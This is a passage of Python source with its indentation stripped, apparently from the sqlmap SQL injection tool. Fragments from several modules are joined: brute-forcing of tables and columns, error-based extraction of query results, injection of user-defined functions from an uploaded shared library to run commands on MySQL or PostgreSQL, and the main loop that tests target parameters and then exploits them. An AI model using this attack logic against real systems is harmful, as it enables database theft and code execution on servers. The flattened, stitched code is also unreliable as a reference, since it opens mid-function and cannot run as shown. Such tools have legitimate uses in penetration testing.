threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(
tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s.%s" % (conf.db, table)
else:
fullTableName = table
result = inject.checkBooleanExpression(
"%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
(randomInt(1), fullTableName)))
kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique:
threadData.shared.value.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime(
"%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (
threadData.shared.count, threadData.shared.limit,
round(100.0 * threadData.shared.count /
threadData.shared.limit))
dataToStdout(
"\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
True)
kb.locks.io.release()
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no table(s) found"
logger.warn(warnMsg)
else:
for item in threadData.shared.value:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.value):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables
def errorUse(expression, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(kb.technique)
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
value = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
expression)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (
" FROM " in expression.upper() and
((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or
(Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.
upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and
("(CASE" not in expression.upper() or
("(CASE" in expression.upper() and "WHEN use" in expression))
) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(
countedExpression)
count = unArrayizeValue(
_oneShotErrorUse(countedExpression, countedExpressionFields))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d %s" % (stopLimit, "entries"
if stopLimit > 1 else "entry")
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
if " ORDER BY " in expression and (
stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] "
if readInput(message, default="N", boolean=True):
expression = expression[:expression.index(" ORDER BY "
)]
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(
xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit -
startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(
maxValue=(stopLimit - startLimit))
if kb.dumpTable and (len(expressionFieldsList) <
(stopLimit - startLimit) >
CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" %
(field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = "column '%s' of table '%s' will not be " % (
field, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
threadData.shared.counter += 1
num = next(threadData.shared.limits)
except StopIteration:
break
output = _errorFields(expression, expressionFields,
expressionFieldsList, num,
emptyFields,
threadData.shared.showEta)
if not kb.threadContinue:
break
if output and isListLike(output) and len(
output) == 1:
output = unArrayizeValue(output)
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
for index in xrange(
1 + len(threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
0][0]:
threadData.shared.lastFlushed += 1
threadData.shared.value.append(
threadData.shared.buffered[0][1])
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
threadData.shared.value.extend(
_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields,
expressionFieldsList)
if value and isListLike(value):
if len(value) == 1 and isinstance(value[0], six.string_types):
value = unArrayizeValue(value)
elif len(value) > 1 and stopLimit == 1:
value = [value]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (
kb.counters[kb.technique], duration)
logger.debug(debugMsg)
return value
def columnExists(columnFile, regex=None):
if kb.columnExistsChoice is None and not any(
_ for _ in kb.injection.data
if _ not in (PAYLOAD.TECHNIQUE.TIME,
PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME],
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common column existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.columnExistsChoice = readInput(message, default='N', boolean=True)
if not kb.columnExistsChoice:
return None
if not conf.tbl:
errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
result = inject.checkBooleanExpression(
safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
(randomStr(), randomStr())))
if result:
errMsg = "can't use column existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common columns (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % columnFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common columns file location?\n"
columnFile = readInput(message) or columnFile
infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg)
columns = getFileItems(columnFile, unique=True)
columns.extend(_addPageTextWords())
columns = filterListValue(columns, regex)
table = safeSQLIdentificatorNaming(conf.tbl, True)
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.value = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(
columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression(
safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
(column, table)))
kb.locks.io.acquire()
if result:
threadData.shared.value.append(column)
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime(
"%X"), unsafeSQLIdentificatorNaming(column))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = "%d/%d items (%d%%)" % (
threadData.shared.count, threadData.shared.limit,
round(100.0 * threadData.shared.count /
threadData.shared.limit))
dataToStdout(
"\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
True)
kb.locks.io.release()
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
finally:
kb.bruteMode = False
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no column(s) found"
logger.warn(warnMsg)
else:
columns = {}
for column in threadData.shared.value:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
result = not inject.checkBooleanExpression(
"%s" % safeStringFormat(
"EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')",
(column, table, column)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat(
"EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))",
(column, table, column, column)))
if result:
columns[column] = "numeric"
else:
columns[column] = "non-numeric"
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in ((conf.db, conf.tbl, item[0], item[1])
for item in columns.items()):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
def udfInjectCustom(self):
if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
errMsg = "UDF injection feature only works on MySQL and PostgreSQL"
logger.error(errMsg)
return
if not isStackingAvailable() and not conf.direct:
errMsg = "UDF injection feature requires stacked queries SQL injection"
logger.error(errMsg)
return
self.checkDbmsOs()
if not self.isDba():
warnMsg = "functionality requested probably does not work because "
warnMsg += "the current session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "what is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn("you need to specify the local path of the shared library")
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise SqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise SqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise SqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise SqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default='1')
if udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if Backend.isDbms(DBMS.MYSQL):
defaultType = "string"
elif Backend.isDbms(DBMS.PGSQL):
defaultType = "text"
self.udfs[udfName]["input"] = []
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: 1) " % udfName
while True:
parCount = readInput(msg, default='1')
if parCount.isdigit() and int(parCount) >= 0:
parCount = int(parCount)
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType).strip()
if parType.isdigit():
logger.warn("you need to specify the data-type of the parameter")
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, str) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
success = self.udfInjectCore(self.udfs)
if success is False:
self.cleanup(udfDict=self.udfs)
return False
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default='Y').upper()
if choice == 'N':
self.cleanup(udfDict=self.udfs)
return
elif choice == 'Q':
self.cleanup(udfDict=self.udfs)
raise SqlmapUserQuitException
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf in list(self.udfs.keys()):
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg).upper()
if choice == 'Q':
break
elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
if not isinstance(choice, int):
break
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn("you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
if readInput(msg, default='Y', boolean=True):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
conf.dumper.string("return value", output)
else:
dataToStdout("No return value\n")
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
if not readInput(msg, default='Y', boolean=True):
break
self.cleanup(udfDict=self.udfs)
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.hashFile:
crackHashFile(conf.hashFile)
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
if conf.checkInternet:
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
if not checkInternet():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime(
"%X")
dataToStdout(warnMsg)
while not checkInternet():
dataToStdout('.')
time.sleep(5)
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper().strip(
) if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
if conf.randomAgent or conf.mobile:
for header, value in initialHeaders:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.httpHeaders.append((header, value))
break
conf.httpHeaders = [
conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders))
if conf.httpHeaders[i][0].upper() not in (
__[0].upper() for __ in conf.httpHeaders[i + 1:])
]
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any(
(conf.data, conf.testParameter)):
for parameter in re.findall(
r"([^=]+)=([^%s]+%s?|\Z)" %
(re.escape(conf.paramDel or "") or
DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
or DEFAULT_GET_POST_DELIMITER),
conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET,
parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message,
default='Y',
boolean=True)
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms and conf.method:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
targetUrl)
else:
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET,
targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % (
(conf.method
if conf.method != HTTPMETHOD.GET else conf.method)
or HTTPMETHOD.POST, urlencode(conf.data or "")
if re.search(r"\A\s*[<{]", conf.data or "") is None
else conf.data)
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find(
"?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
choice = readInput(message, default='Y').upper()
if choice == 'N':
continue
elif choice == 'Q':
break
else:
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (
conf.method, urlencode(conf.data or "")
if re.search(r"\A\s*[<{]", conf.data
or "None") is None else conf.data,
" (Warning: blank fields detected)"
if conf.data and extractRegexResult(
EMPTY_FORM_FIELDS_REGEX, conf.data) else
"")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(
conf.data) if conf.data and urlencode(
DEFAULT_GET_POST_DELIMITER,
None) not in conf.data else conf.data
else:
if '?' in targetUrl:
firstPart, secondPart = targetUrl.split('?', 1)
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
else:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms
) or not checkString() or not checkRegexp():
continue
if conf.rParam and kb.originalPage:
kb.randomPool = dict([
_ for _ in kb.randomPool.items() if isinstance(_[1], list)
])
for match in re.finditer(
r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>",
kb.originalPage):
name, _ = match.groups()
options = tuple(
re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)",
_))
if options:
kb.randomPool[name] = options
checkWaf()
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or
(len(kb.injections) == 1 and kb.injections[0].place is None)
) and (kb.injection.place is None
or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp
)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = list(conf.parameters.keys())
# Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT
and (kb.testOnlyCustom or conf.level < 3))
skip |= (place == PLACE.REFERER
and (kb.testOnlyCustom or conf.level < 3))
# --param-filter
skip |= (len(conf.paramFilter) > 0
and place.upper() not in conf.paramFilter)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST
and (kb.testOnlyCustom or conf.level < 5))
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE
and (kb.testOnlyCustom or conf.level < 2))
skip |= (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(
PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(
PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(
HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect(
(PLACE.COOKIE, ), conf.testParameter, True))
if skip:
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (
None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif any(_ in conf.testParameter
for _ in (parameter,
removePostHintPrefix(parameter))):
pass
elif parameter in conf.rParam:
testSqlInj = False
infoMsg = "skipping randomizing %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif parameter in conf.skip or kb.postHint and parameter.split(
' ')[-1] in conf.skip:
testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif conf.paramExclude and (
re.search(conf.paramExclude, parameter, re.I)
or kb.postHint
and re.search(conf.paramExclude,
parameter.split(' ')[-1], re.I)):
testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif conf.csrfToken and re.search(
conf.csrfToken, parameter, re.I):
testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (
parameter.upper() in IGNORE_PARAMETERS
or any(_ in parameter.lower()
for _ in CSRF_TOKEN_PARAMETER_INFIXES)
or parameter.upper().startswith(
GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
warnMsg = "%sparameter '%s' does not appear to be dynamic" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.warn(warnMsg)
if conf.skipStatic:
infoMsg = "skipping static %sparameter '%s'" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.info(infoMsg)
testSqlInj = False
else:
infoMsg = "%sparameter '%s' appears to be dynamic" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(
place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (
kb.ignoreCasted and check
== HEURISTIC_TEST.CASTED):
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %sparameter '%s'" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.info(infoMsg)
injection = checkSqlInjection(
place, parameter, value)
proceed = not kb.endDetection
injectable = False
if getattr(injection, "place",
None) is not None:
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection)
else:
injectable = True
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%sparameter '%s' " % (
"%s " %
injection.place if injection.place
!= injection.parameter else "",
injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
if not readInput(msg,
default='N',
boolean=True):
proceed = False
paramKey = (conf.hostname,
conf.path, None, None)
kb.testedParams.add(paramKey)
if not injectable:
warnMsg = "%sparameter '%s' does not seem to be injectable" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1
and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
if kb.originalPage:
advice = []
if not conf.forms and re.search(
r"<form", kb.originalPage) is not None:
advice.append("--forms")
if not conf.crawlDepth and re.search(
r"href=[\"']/?\w",
kb.originalPage) is not None:
advice.append("--crawl=2")
if advice:
errMsg += ". You are advised to rerun with '%s'" % ' '.join(
advice)
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters do not appear to be injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests."
if isinstance(conf.technique,
list) and len(conf.technique) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
percent = (
100.0 *
len(getFilteredPageContent(kb.originalPage)) /
len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)."
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests."
if conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses."
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses."
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
if not conf.randomAgent:
errMsg += " and/or switch '--random-agent'"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile()
_saveToHashDB()
_showInjections()
_selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
condition = readInput(message, default='Y', boolean=True)
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
return False
elif choice == 'Q':
raise SqlmapUserQuitException
else:
raise
except SqlmapSkipTargetException:
pass
except SqlmapUserQuitException:
raise
